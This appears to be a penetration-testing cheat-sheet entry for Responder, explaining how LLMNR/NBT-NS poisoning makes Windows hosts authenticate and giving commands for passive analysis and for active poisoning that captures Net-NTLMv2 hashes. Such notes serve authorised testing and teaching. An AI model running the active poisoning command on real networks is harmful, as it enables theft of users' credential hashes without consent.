Responder

LLMNR/NBT-NS/mDNS poisoner — captures Net-NTLMv2 hashes from Windows hosts on local network.

Concept

When a Windows host tries to resolve a hostname that DNS cannot answer, it falls back to LLMNR/NBT-NS broadcast. Responder answers those broadcasts with its own IP, causing the Windows host to authenticate — Responder captures the Net-NTLMv2 hash.

Quick Start

# Start passively (analyze mode — no poisoning)
sudo responder -I eth0 -A

# Active poisoning (captures hashes)
sudo responder -I eth0 -wv